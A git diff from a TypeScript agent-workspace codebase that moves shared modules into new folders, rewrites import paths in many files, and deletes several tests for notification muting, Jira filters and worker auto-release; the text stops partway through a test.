b/src/main/runtime/push/notifications/terminal-agent-phone-push.ts index 2a39bc90140..dc678c45055 100644 --- a/src/main/runtime/push/notifications/terminal-agent-phone-push.ts +++ b/src/main/runtime/push/notifications/terminal-agent-phone-push.ts @@ -1,5 +1,5 @@ // Push hook-agent finish/input alerts from windowless execution hosts using desktop rules. A window already pushes these phones; the phone suppresses its own visible chat. -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { AgentPaneChange } from '../../../agent-hooks/observations/agent-transition-detector' import { agentMainAgentVerdict } from '../../../../shared/agent-status/lifecycle/agent-main-agent-verdict' import { buildAgentNotificationId } from '../../../../shared/agent-status/presentation/agent-notification-id' diff --git a/src/main/runtime/push/notifications/workspace-notification-mute.test.ts b/src/main/runtime/push/notifications/workspace-notification-mute.test.ts index 090517e14a4..6738ee7ad7f 100644 --- a/src/main/runtime/push/notifications/workspace-notification-mute.test.ts +++ b/src/main/runtime/push/notifications/workspace-notification-mute.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from 'vitest' -import { getDefaultUIState } from '../../../../shared/constants' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import { getDefaultUIState } from '../../../../shared/orca-profiles/constants' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import { isWorkspaceNotificationMuted, type WorkspaceNotificationMuteDeps @@ -35,8 +35,4 @@ describe('isWorkspaceNotificationMuted', () => { }) expect(isWorkspaceNotificationMuted(muted, 'folder:fw-1')).toBe(true) }) - - it('leaves workspaces unmuted when nothing is persisted', () => { - expect(isWorkspaceNotificationMuted(deps({}), 'repo-1::/wt')).toBe(false) - }) }) diff --git a/src/main/runtime/repositories/runtime-nested-repo-import.ts b/src/main/runtime/repositories/runtime-nested-repo-import.ts index 17e8180ee3a..6915af4eb17 100644 --- a/src/main/runtime/repositories/runtime-nested-repo-import.ts +++ b/src/main/runtime/repositories/runtime-nested-repo-import.ts @@ -13,7 +13,7 @@ import { getRepoDialableSshTargetId, getRepoExecutionHostId, getRepoRoutingConnectionId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { awaitWindowsHostGitEnvironmentReady } from '../../git/command-runner/host-routing/windows-host-git-environment' import { getRepoName } from '../../git/repositories/repository-name' import { isGitRepoAsync } from '../../git/repositories/discovery/repo-detection' diff --git a/src/main/runtime/repositories/runtime-preserved-branch-cleanup.ts b/src/main/runtime/repositories/runtime-preserved-branch-cleanup.ts index 290f444f947..04707e7a8e1 100644 --- a/src/main/runtime/repositories/runtime-preserved-branch-cleanup.ts +++ b/src/main/runtime/repositories/runtime-preserved-branch-cleanup.ts @@ -8,7 +8,7 @@ import { getRepoRoutingConnectionId, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { forceDeleteLocalBranch } from '../../git/worktrees/removal/worktree-branch-removal' import { gitExecFileAsync } from '../../git/command-runner/git-exec-file' diff --git a/src/main/runtime/repositories/runtime-project-group-controller-folder-unique-mutation.test.ts b/src/main/runtime/repositories/runtime-project-group-controller-folder-unique-mutation.test.ts index f5c75a9c8ae..50a7889862c 100644 --- a/src/main/runtime/repositories/runtime-project-group-controller-folder-unique-mutation.test.ts +++ b/src/main/runtime/repositories/runtime-project-group-controller-folder-unique-mutation.test.ts @@ -5,7 +5,7 @@ import { join } from 'node:path' import { RuntimeProjectGroupController } from './runtime-project-group-controller' import type { RuntimeStore } from '../construction/runtime-store-contract' import { FolderWorkspacePersistenceOperations } from '../../persistence/restoring-sessions/folder-workspace-operations' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../shared/project/groups/project-group-types' diff --git a/src/main/runtime/repositories/runtime-project-host-setup-controller.ts b/src/main/runtime/repositories/runtime-project-host-setup-controller.ts index 370c52abb08..690ae01682c 100644 --- a/src/main/runtime/repositories/runtime-project-host-setup-controller.ts +++ b/src/main/runtime/repositories/runtime-project-host-setup-controller.ts @@ -18,7 +18,7 @@ import { getSshTargetIdForExecutionHost, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { getProjectHostSetupForRepo } from '../../../shared/project/host-setup/project-host-setup-lookup' import { linkImportedFolderToProject, diff --git a/src/main/runtime/repositories/runtime-remove-project-host-scope.test.ts b/src/main/runtime/repositories/runtime-remove-project-host-scope.test.ts index 0b25279518c..86bb264051e 100644 --- a/src/main/runtime/repositories/runtime-remove-project-host-scope.test.ts +++ b/src/main/runtime/repositories/runtime-remove-project-host-scope.test.ts @@ -3,7 +3,7 @@ import { describe, expect, it, vi } from 'vitest' import type { Repo } from '../../../shared/repository/repo-types' import { OrcaRuntimeService } from '../orca-runtime' import { findRepoRowForHostScopedWrite } from '../../persistence/tracking-repos/repo-update-operations' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { RepoHostTarget } from '../../../shared/repository/repo-host-identity' import { partialRuntimeStore } from '../orca-runtime-tests/runtime-store-partial-fixture' import { withProjectWorktreeCreate } from '../../workspaces/creation/worktree-create-in-flight' diff --git a/src/main/runtime/repositories/runtime-repository-clone-controller.ts b/src/main/runtime/repositories/runtime-repository-clone-controller.ts index 49758abbd9b..04f8212fbff 100644 --- a/src/main/runtime/repositories/runtime-repository-clone-controller.ts +++ b/src/main/runtime/repositories/runtime-repository-clone-controller.ts @@ -2,7 +2,10 @@ import { randomUUID } from 'node:crypto' import { refuseWslHostWindowsDrivePath } from '../terminal/launch/wsl-host-windows-drive-guard' import { mkdir } from 'node:fs/promises' import { DEFAULT_REPO_BADGE_COLOR } from '../../../shared/repository/appearance/repo-badge-color' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { getGitCloneFailureMessage } from '../../../shared/git/remotes/git-clone-failure-message' diff --git a/src/main/runtime/repositories/runtime-repository-fork-backfill.ts b/src/main/runtime/repositories/runtime-repository-fork-backfill.ts index 5b525dcd1cb..81728c202b1 100644 --- a/src/main/runtime/repositories/runtime-repository-fork-backfill.ts +++ b/src/main/runtime/repositories/runtime-repository-fork-backfill.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, getRepoSshConnectionId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + getRepoSshConnectionId +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { githubAvatarIcon, githubAvatarSlug } from '../../../shared/repository/appearance/repo-icon' import { probeRepoUpstream } from '../../github/client/fetch/repo-slug-upstream' diff --git a/src/main/runtime/repositories/runtime-repository-hooks-commands.ts b/src/main/runtime/repositories/runtime-repository-hooks-commands.ts index 994cbda4b92..2d26846c46e 100644 --- a/src/main/runtime/repositories/runtime-repository-hooks-commands.ts +++ b/src/main/runtime/repositories/runtime-repository-hooks-commands.ts @@ -1,4 +1,7 @@ -import { getRepoDialableSshTargetId, isRepoOnCatalogHost } from '../../../shared/execution-host' +import { + getRepoDialableSshTargetId, + isRepoOnCatalogHost +} from '../../../shared/execution-host/execution-host' import { scopeHooksToRepoKind } from '../../../shared/folder-workspaces/folder-workspace-hooks' import { windowsFsPath } from '../../wsl/filesystem/wsl-unc-drive-fs-path' import { readFile } from 'node:fs/promises' diff --git a/src/main/runtime/repositories/runtime-repository-issue-command.ts b/src/main/runtime/repositories/runtime-repository-issue-command.ts index 794a9c3fb3e..d091a6931f0 100644 --- a/src/main/runtime/repositories/runtime-repository-issue-command.ts +++ b/src/main/runtime/repositories/runtime-repository-issue-command.ts @@ -1,4 +1,4 @@ -import { getRepoDialableSshTargetId } from '../../../shared/execution-host' +import { getRepoDialableSshTargetId } from '../../../shared/execution-host/execution-host' import type { GitRuntimeOptions } from '../../git/command-runner/git-runtime-options' import type { Repo } from '../../../shared/repository/repo-types' import { diff --git a/src/main/runtime/repositories/runtime-repository-ref-queries.ts b/src/main/runtime/repositories/runtime-repository-ref-queries.ts index 24362c2847c..7b8e0fcae1e 100644 --- a/src/main/runtime/repositories/runtime-repository-ref-queries.ts +++ b/src/main/runtime/repositories/runtime-repository-ref-queries.ts @@ -10,7 +10,7 @@ import { getDefaultBaseRefAsync as getBaseRefDefault } from '../../git/refs/reso import { getRemoteCount } from '../../git/remotes/repo-remote-queries' import { searchRemoteRefPage } from '../../git/refs/resolution/repo-remote-ref-search' import { searchBaseRefDetails } from '../../git/refs/resolution/repo-base-ref-search' -import { getRepoRoutingConnectionId } from '../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../shared/execution-host/execution-host' import { blockedWslDistroForPath } from '../../wsl/filesystem/wsl-unc-access-gate' type RuntimeRepositoryRefQueryDependencies = { diff --git a/src/main/runtime/repositories/runtime-repository-registration-controller.ts b/src/main/runtime/repositories/runtime-repository-registration-controller.ts index d43252b4b2e..37bcde49425 100644 --- a/src/main/runtime/repositories/runtime-repository-registration-controller.ts +++ b/src/main/runtime/repositories/runtime-repository-registration-controller.ts @@ -6,7 +6,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { gitExecFileAsync } from '../../git/command-runner/git-exec-file' import { awaitWindowsHostGitEnvironmentReady } from '../../git/command-runner/host-routing/windows-host-git-environment' diff --git a/src/main/runtime/rpc/methods/agent-launch/agent-launch-cwd-cli.test-fixture.ts b/src/main/runtime/rpc/methods/agent-launch/agent-launch-cwd-cli.test-fixture.ts index 09e24118274..17f959a1600 100644 --- a/src/main/runtime/rpc/methods/agent-launch/agent-launch-cwd-cli.test-fixture.ts +++ b/src/main/runtime/rpc/methods/agent-launch/agent-launch-cwd-cli.test-fixture.ts @@ -1,5 +1,5 @@ import type { Mock } from 'vitest' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { RuntimeClientError, RuntimeRpcFailureError diff --git a/src/main/runtime/rpc/methods/client-state/client-ui-set-collapsed.test.ts b/src/main/runtime/rpc/methods/client-state/client-ui-set-collapsed.test.ts index 2d9df273538..1993b8c61ea 100644 --- a/src/main/runtime/rpc/methods/client-state/client-ui-set-collapsed.test.ts +++ b/src/main/runtime/rpc/methods/client-state/client-ui-set-collapsed.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from 'vitest' -import { getDefaultUIState } from '../../../../../shared/constants' -import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types' +import { getDefaultUIState } from '../../../../../shared/orca-profiles/constants' +import type { PersistedUIState } from '../../../../../shared/orca-profiles/persisted-ui-state-types' import type { OrcaRuntimeService } from '../../../orca-runtime' import { CollapseWriteOrder } from '../../../client/settings/workspace-view-collapse-writes' import type { RpcRequest } from '../../core' diff --git a/src/main/runtime/rpc/methods/client-state/client-ui.ts b/src/main/runtime/rpc/methods/client-state/client-ui.ts index 0b8f60c25af..8c58cb57200 100644 --- a/src/main/runtime/rpc/methods/client-state/client-ui.ts +++ b/src/main/runtime/rpc/methods/client-state/client-ui.ts @@ -9,7 +9,7 @@ import { omitPairingLocalUiFields, type PairedUiState } from '../../../../../shared/remote-runtime/pairing/pairing-local-ui-fields' -import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../../shared/orca-profiles/persisted-ui-state-types' import { isWorkspaceHostScope } from '../../../../../shared/orcad-migration/orcad-migration-client-state-value-validation' import { defineMethod, type RpcContext } from '../../core' import { isHostOwnPhone } from '../../callers/host-own-phone' diff --git a/src/main/runtime/rpc/methods/client-state/task-resume-state-parity.ts b/src/main/runtime/rpc/methods/client-state/task-resume-state-parity.ts index 1320a49b336..6ae1a8073a0 100644 --- a/src/main/runtime/rpc/methods/client-state/task-resume-state-parity.ts +++ b/src/main/runtime/rpc/methods/client-state/task-resume-state-parity.ts @@ -1,5 +1,5 @@ import type { z } from 'zod' -import type { TaskResumeState as TaskResumeStateType } from '../../../../../shared/ui-chrome-types' +import type { TaskResumeState as TaskResumeStateType } from '../../../../../shared/ui-chrome/ui-chrome-types' import type { AssertNoMissingKeys } from './ui-state-schema-parity' import type { TaskResumeState } from '../../../../../shared/rpc-contract/client-ui/task-resume-state-params' import '../../../../../shared/rpc-contract/client-ui/task-resume-state-params' diff --git a/src/main/runtime/rpc/methods/client-state/ui-state-schema-parity-checks.ts b/src/main/runtime/rpc/methods/client-state/ui-state-schema-parity-checks.ts index e57c7df3950..12e58fe713c 100644 --- a/src/main/runtime/rpc/methods/client-state/ui-state-schema-parity-checks.ts +++ b/src/main/runtime/rpc/methods/client-state/ui-state-schema-parity-checks.ts @@ -1,5 +1,5 @@ import type { z } from 'zod' -import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../../shared/orca-profiles/persisted-ui-state-types' import type { WorkspaceCleanupUIState } from '../../../../../shared/workspace-cleanup/workspace-cleanup' import type { UiUpdateFieldsSchema } from './client-ui-schemas' import type { AssertNoMissingKeys, AssertNoMissingValues } from './ui-state-schema-parity' diff --git a/src/main/runtime/rpc/methods/history/ai-vault.ts b/src/main/runtime/rpc/methods/history/ai-vault.ts index cc4034be9ea..45ebfeb7415 100644 --- a/src/main/runtime/rpc/methods/history/ai-vault.ts +++ b/src/main/runtime/rpc/methods/history/ai-vault.ts @@ -15,7 +15,7 @@ import { conditionalAiVaultListResult } from '../../../../ai-vault/listing/sessi import { restampAiVaultListResult } from '../../../../ai-vault/listing/session-list-results' import { copyStructuredChatConversation } from '../../../../ai-vault/structured-sessions/structured-chat-conversation-copy' import type { AiVaultPrepareSessionResumeArgs } from '../../../../../shared/ai-vault/resume/ai-vault-resume-preparation' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { isWslUncPath } from '../../../../../shared/file-access/wsl-paths' import { describeAiVaultScanError } from '../../../../../shared/ai-vault/scanning/ai-vault-scan-error-message' import { diff --git a/src/main/runtime/rpc/methods/integrations/jira/jira-saved-filter-state.test.ts b/src/main/runtime/rpc/methods/integrations/jira/jira-saved-filter-state.test.ts index 82d64b2b36c..3d347f01cc6 100644 --- a/src/main/runtime/rpc/methods/integrations/jira/jira-saved-filter-state.test.ts +++ b/src/main/runtime/rpc/methods/integrations/jira/jira-saved-filter-state.test.ts @@ -1,7 +1,7 @@ -import { MOBILE_RPC_METHOD_ROUTES } from '../../../server/runtime-rpc-mobile-method-routing' +import '../../../server/runtime-rpc-mobile-method-routing' import { describe, expect, it, vi } from 'vitest' -import { getDefaultUIState } from '../../../../../../shared/constants' -import type { PersistedUIState } from '../../../../../../shared/persisted-ui-state-types' +import { getDefaultUIState } from '../../../../../../shared/orca-profiles/constants' +import type { PersistedUIState } from '../../../../../../shared/orca-profiles/persisted-ui-state-types' import type { OrcaRuntimeService } from '../../../../orca-runtime' import { CLIENT_UI_METHODS } from '../../client-state/client-ui' import { RpcDispatcher } from '../../../dispatcher' @@ -77,27 +77,3 @@ describe('Jira saved-filter runtime UI state', () => { expect(updateUIState).not.toHaveBeenCalled() }) }) - -it('persists quick filters on the execution host without rewriting saved JQL or resume fields', async () => { - const { dispatch, read, updateUIState } = setup() - await dispatch('ui.mutateJiraSavedFilters', { kind: 'save', filter }) - expect( - await dispatch('ui.setJiraQuickFilters', { statuses: ['In Progress', 'Blocked'] }) - ).toMatchObject({ - ok: true, - result: { statuses: ['In Progress', 'Blocked'] } - }) - expect(await dispatch('ui.getJiraQuickFilters')).toMatchObject({ - ok: true, - result: { statuses: ['In Progress', 'Blocked'] } - }) - expect(read().jiraSavedFilterState?.filters).toEqual([filter]) - expect(read().taskResumeState).toEqual({ jiraQuery: 'project = OLD' }) - expect(updateUIState.mock.calls.every(([update]) => !('taskResumeState' in update))).toBe(true) - expect(await dispatch('ui.setJiraQuickFilters', { statuses: ['x'.repeat(129)] })).toMatchObject({ - ok: false, - error: { code: 'invalid_argument' } - }) - expect(MOBILE_RPC_METHOD_ROUTES.get('ui.getJiraQuickFilters')).toBe('execution-host') - expect(MOBILE_RPC_METHOD_ROUTES.get('ui.setJiraQuickFilters')).toBe('execution-host') -}) diff --git a/src/main/runtime/rpc/methods/orchestration/federation/federation-liveness-verdict.test.ts b/src/main/runtime/rpc/methods/orchestration/federation/federation-liveness-verdict.test.ts index 59b75bc9bbb..763b43bfae5 100644 --- a/src/main/runtime/rpc/methods/orchestration/federation/federation-liveness-verdict.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/federation/federation-liveness-verdict.test.ts @@ -1,5 +1,5 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../../../shared/orca-profiles/constants' import { ORCHESTRATION_CONTRACT_VERSION } from '../../../../../../shared/orchestration/orchestration-runtime-capabilities' import { OrcaRuntimeService } from '../../../../orca-runtime' import { OrchestrationDb } from '../../../../orchestration/db/orchestration-db' diff --git a/src/main/runtime/rpc/methods/orchestration/worker/release/worker-auto-release-turns.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/release/worker-auto-release-turns.test.ts index 7fa340a26b1..56df92ae69d 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/release/worker-auto-release-turns.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/release/worker-auto-release-turns.test.ts @@ -1,27 +1,20 @@ -import { - holdClose, - holdAdmissionReply, - reattach -} from '../../structured-workers/orchestration-structured-worker-close.test-fixture' -import { readTestHostJournal } from '../../../../../../native-chat/agent-session-journal/journal-observation.test-support' -import { getDefaultWorkspaceSession } from '../../../../../../../shared/constants' -import { partialRuntimeStore } from '../../../../../orca-runtime-tests/runtime-store-partial-fixture' -import { withChatTabChanges } from '../../../../../agent-session/agent-session-tab-layout' -import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../../../../shared/agent-session/journal/agent-session-journal-types' +import '../../structured-workers/orchestration-structured-worker-close.test-fixture' +import '../../../../../../native-chat/agent-session-journal/journal-observation.test-support' +import '../../../../../../../shared/orca-profiles/constants' +import '../../../../../orca-runtime-tests/runtime-store-partial-fixture' +import '../../../../../agent-session/agent-session-tab-layout' +import '../../../../../../../shared/agent-session/journal/agent-session-journal-types' import '../../../../../../native-chat/agent-session-wire/publication/history/agent-session-history-page' import '../../../../../../native-chat/agent-session-wire/publication/subscribers/agent-session-subscriber-frame-fields' import { hostTestState } from '../../../../../../native-chat/agent-session-wire/host/testing/structured-agent-session-host.test-fixture' import { createTestParams } from '../../../../../../native-chat/agent-session-wire/host/testing/structured-agent-session-create.test-fixture' import { hostTestOperationId } from '../../../../../../native-chat/agent-session-wire/host/testing/structured-agent-session-host-test-data.test-fixture' -import { setStructuredAgentSessionHost } from '../../../../../../native-chat/agent-session-wire/host/structured-agent-session-registry' -import { - structuredWorkerIdentities, - type StructuredWorkerIdentity -} from '../../../../../orchestration/terminal-authority/structured-sessions/structured-worker-identity' -import { createOrchestrationRpcHarness } from '../../rpc-test-harness' -import { releaseStructuredWorkerSession } from '../../structured-workers/orchestration-structured-worker-session' -import { createStructuredWorkerSessionForWorktree } from '../start/placement/worker-placement-topology' -import { completeWorkerTerminalRelease } from './worker-release-completion' +import '../../../../../../native-chat/agent-session-wire/host/structured-agent-session-registry' +import '../../../../../orchestration/terminal-authority/structured-sessions/structured-worker-identity' +import '../../rpc-test-harness' +import '../../structured-workers/orchestration-structured-worker-session' +import '../start/placement/worker-placement-topology' +import './worker-release-completion' vi.mock('../../../structured-sessions/creation/structured-agent-session-create', () => ({ createStructuredAgentSessionForWorktree: async (args: { envelope: { sessionId: string } }) => { @@ -40,13 +33,11 @@ vi.mock('../../../structured-sessions/creation/structured-agent-session-create', } })) -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { afterEach, describe, expect, it, vi } from 'vitest' import { getWorkerTerminalAutoReleaseScheduler } from '../../../../../orchestration/terminal-authority/release/worker-terminal-auto-release-scheduler' -import { WorkerAutoReleaseActivity } from '../../../../../orchestration/terminal-authority/release/worker-auto-release-activity' -import type { AgentPhase } from '../../../../../../../shared/agent-status/lifecycle/agent-transitions' -import { createOrchestrationWorkerReleaseHarness } from '../testing/worker-release.test-support' +import '../../../../../orchestration/terminal-authority/release/worker-auto-release-activity' -const GRACE_MS = 2 * 60_000 +import { createOrchestrationWorkerReleaseHarness } from '../testing/worker-release.test-support' describe('orchestration worker automatic release across turns and settings', () => { const h = createOrchestrationWorkerReleaseHarness() @@ -63,77 +54,6 @@ describe('orchestration worker automatic release across turns and settings', () h.setup() } - function moved(from: AgentPhase, to: AgentPhase) { - return { - kind: 'moved' as const, - paneKey: h.workerPaneKey, - workspace: { worktreeId: 'wt', sshHostId: null }, - from, - to, - at: Date.now(), - transition: null - } - } - - async function expectClosedAfterFreshGrace(): Promise { - await vi.advanceTimersByTimeAsync(GRACE_MS - 1_000) - expect(h.runtime.closeTerminal).not.toHaveBeenCalled() - await vi.advanceTimersByTimeAsync(1_000) - await vi.waitFor(() => expect(h.runtime.closeTerminal).toHaveBeenCalledTimes(1)) - } - - it('runs no timer while auto-close is off and closes a due worker once it is back on', async () => { - setupWithFakeClock() - const { dispatchId } = await h.startSettledWorker() - const scheduler = getWorkerTerminalAutoReleaseScheduler(h.runtime) - const claims = vi.spyOn(h.db, 'claimDueWorkerTerminalAutoReleases') - - h.db.workerAutoReleaseEnabled = () => false - scheduler.rearm() - await vi.advanceTimersByTimeAsync(2 * GRACE_MS) - - expect(claims).not.toHaveBeenCalled() - expect(h.runtime.closeTerminal).not.toHaveBeenCalled() - h.db.workerAutoReleaseEnabled = () => true - scheduler.rearm() - await vi.advanceTimersByTimeAsync(0) - await vi.waitFor(() => - expect(h.db.getWorkerTerminalResourceByOwner(dispatchId)?.release_state).toBe('released') - ) - }) - - it('suspends instead of claiming an agent in a turn at its deadline, so nothing is archived', async () => { - setupWithFakeClock() - const { dispatchId } = await h.startSettledWorker() - const inTurn = vi.spyOn(h.runtime, 'isWorkerAgentInTurn').mockReturnValue(true) - vi.mocked(h.runtime.readTerminal).mockClear() - - await vi.advanceTimersByTimeAsync(GRACE_MS) - - expect(h.runtime.readTerminal).not.toHaveBeenCalled() - expect(h.db.getWorkerTerminalResourceByOwner(dispatchId)).toMatchObject({ - release_state: 'not_requested', - auto_release_at: null - }) - inTurn.mockReturnValue(false) - new WorkerAutoReleaseActivity(() => h.db).observePane(moved('working', 'done')) - await expectClosedAfterFreshGrace() - }) - - it('holds the countdown while a follow-up waits on the user', async () => { - setupWithFakeClock() - const activity = new WorkerAutoReleaseActivity(() => h.db) - await h.startSettledWorker() - - activity.observePane(moved('done', 'working')) - activity.observePane(moved('working', 'needs-you')) - await vi.advanceTimersByTimeAsync(2 * GRACE_MS) - expect(h.runtime.closeTerminal).not.toHaveBeenCalled() - - activity.observePane(moved('needs-you', 'done')) - await expectClosedAfterFreshGrace() - }) - it('refuses to stop a kept worker without touching it, and stops it once auto-close is allowed', async () => { setupWithFakeClock() const { dispatchId } = await h.startWorker() @@ -153,373 +73,3 @@ describe('orchestration worker automatic release across turns and settings', () ).resolves.toMatchObject({ state: 'stopped' }) }) }) - -describe('SQLite chat work at automatic release', () => { - const harness = createOrchestrationRpcHarness() - let state: ReturnType - let dispatchId: string - let workerSessionIds: string[] - let watches: (() => void)[] - - function createDispatch() { - const task = state.db.createTask({ spec: 'redrive test' }) - const id = state.db.createStartingWorkerDispatch({ - creator: { kind: 'system' }, - maxDepth: 10, - taskId: task.id, - startOptions: {} - }).dispatch.id - return id - } - - beforeEach(() => { - vi.useFakeTimers() - structuredWorkerIdentities.clear() - state = harness.setup() - vi.spyOn(state.runtime, 'ensureStructuredAgentSessionHost').mockResolvedValue(undefined) - const { host, store, acquire } = hostTestState() - const acquireImpl = acquire.getMockImplementation() - if (!acquireImpl) { - throw new Error('Fixture acquisition is missing') - } - acquire.mockImplementation(async (input) => { - const acquired = await acquireImpl(input) - if (!acquired.link) { - throw new Error('Fixture acquisition has no provider link') - } - return { - ...acquired, - link: { - ...acquired.link, - origin: store.getRecord(input.identity.sessionId)?.providerHandleChain.length - ? 'resumed' - : 'created' - } - } - }) - setStructuredAgentSessionHost(host) - workerSessionIds = [] - watches = [] - dispatchId = createDispatch() - }) - - afterEach(() => { - watches.forEach((dispose) => dispose()) - for (const id of workerSessionIds) { - releaseStructuredWorkerSession(id, state.runtime) - } - vi.useRealTimers() - harness.cleanup() - setStructuredAgentSessionHost(null) - structuredWorkerIdentities.clear() - vi.restoreAllMocks() - }) - - function workerJournal(identity: StructuredWorkerIdentity) { - const { host, store } = hostTestState() - const session = host.collaboratorsForTests().sessions.get(identity.sessionId) - if (!session) { - throw new Error('Worker did not open its journal') - } - const append = async (id: string) => { - await host - .collaboratorsForTests() - .sessions.get(identity.sessionId)! - .journal.appendItem( - { provider: 'orca', clientMessageId: id }, - { kind: 'status', text: id }, - { - fence: store.requireWritableRecord(identity.sessionId).lease.runtimeFence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - } - return { - host, - identity, - journal: session.journal, - fence: store.requireWritableRecord(identity.sessionId).lease.runtimeFence, - append - } - } - - async function startOwnedWorker() { - const { identity } = await createStructuredWorkerSessionForWorktree({ - runtime: state.runtime, - worktreeId: 'workspace-1', - agent: 'codex', - dispatchId, - effects: [] - }) - workerSessionIds.push(identity.sessionId) - await reattach(identity.sessionId) - state.db.prepareStartingWorkerAuthority({ - dispatchId, - ...identity, - hostScope: JSON.stringify(identity.hostScope), - setupState: 'not_applicable', - terminalOwnership: 'created', - effects: [] - }) - state.db.markWorkerDispatchReady(dispatchId) - return workerJournal(identity) - } - - function claimAutomaticRelease(identity: StructuredWorkerIdentity) { - const worker = state.db.getDispatchContextById(dispatchId) - if (!worker?.task_id) { - throw new Error('Worker Dispatch is missing') - } - expect( - state.db.settleWorkerReport({ - taskId: worker.task_id, - dispatchId, - outcome: 'succeeded', - result: 'Worker finished' - }).action - ).toBe('settled') - expect(state.db.claimDueWorkerTerminalAutoReleases(Date.now() + 120_000)).toBe(1) - const resource = state.db.getWorkerTerminalResourceByOwner(dispatchId) - if (!resource) { - throw new Error('Worker resource is missing') - } - expect(resource.terminal_handle).toBe(identity.handle) - return resource - } - - async function automaticCloseFixture() { - vi.useRealTimers() - vi.useFakeTimers({ toFake: ['Date'] }) - harness.cleanup() - let savedSession = getDefaultWorkspaceSession() - state = harness.setup( - true, - partialRuntimeStore({ - getWorkspaceSession: () => savedSession, - getWorkspaceSessionHostIds: () => ['local'], - setWorkspaceSession: (next) => { - savedSession = next - } - }) - ) - vi.spyOn(state.runtime, 'ensureStructuredAgentSessionHost').mockResolvedValue(undefined) - dispatchId = createDispatch() - const worker = await startOwnedWorker() - const { host, identity } = worker - const { store } = hostTestState() - const attached = host.collaboratorsForTests().sessions.get(identity.sessionId) - const lease = store.requireWritableRecord(identity.sessionId).lease - const tab = host.getSessionTabId(identity.sessionId) - if (!tab) { - throw new Error('Worker has no listed tab') - } - savedSession = - withChatTabChanges('local', savedSession, identity.worktreeId, [ - { - open: { sessionId: identity.sessionId, agent: 'codex', tabId: tab } - } - ]) ?? savedSession - await state.runtime.publishStructuredAgentSessionTab({ - workspaceId: identity.worktreeId, - sessionId: identity.sessionId, - agent: 'codex', - activate: true - }) - await vi.waitFor(() => - expect(host.readStatusSummary(identity.sessionId)).toMatchObject({ - hostExecutionPhase: 'ready' - }) - ) - const resource = claimAutomaticRelease(identity) - const stop = vi.fn>(async () => true) - host.deps.adapter.closeSession = stop - const close = () => - completeWorkerTerminalRelease({ - runtime: state.runtime, - db: state.db, - dispatchId, - resource: state.db.getWorkerTerminalResource(resource.id)! - }) - const presentation = state.runtime.captureStructuredAgentSessionPresentation(identity.sessionId) - const savedBefore = structuredClone(savedSession) - const retained = () => { - expect(state.runtime.captureStructuredAgentSessionPresentation(identity.sessionId)).toEqual( - presentation - ) - expect(savedSession).toEqual(savedBefore) - expect(host.collaboratorsForTests().sessions.get(identity.sessionId)).toBe(attached) - expect(store.requireWritableRecord(identity.sessionId).lease).toEqual(lease) - expect(host.getSessionTabId(identity.sessionId)).toBe(tab) - expect(stop).not.toHaveBeenCalled() - } - return { ...worker, store, resource, close, retained, lease, attached } - } - - it('retains a committed running turn while its status publication is held', async () => { - const h = await automaticCloseFixture() - const lane = holdClose(h.identity.sessionId) - const closing = h.close() - await lane.entered - const published = h.host.readStatusSummary(h.identity.sessionId) - const seen = Promise.withResolvers() - const release = Promise.withResolvers() - const gate = state.db.admitWorkerChatReleaseClose.bind(state.db) - vi.spyOn(state.db, 'admitWorkerChatReleaseClose').mockImplementation((...args) => { - try { - return gate(...args) - } finally { - release.resolve() - } - }) - const observer = h.journal.reads.observer - vi.spyOn(h.journal.reads, 'observer').mockImplementation(async (input) => { - const answer = await observer(input) - seen.resolve() - await release.promise - return answer - }) - try { - await h.journal.appendItem( - { provider: 'orca', clientMessageId: 'running-before-close' }, - { kind: 'turn', turnId: 'running-before-close', state: 'running' }, - { fence: h.fence, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await seen.promise - 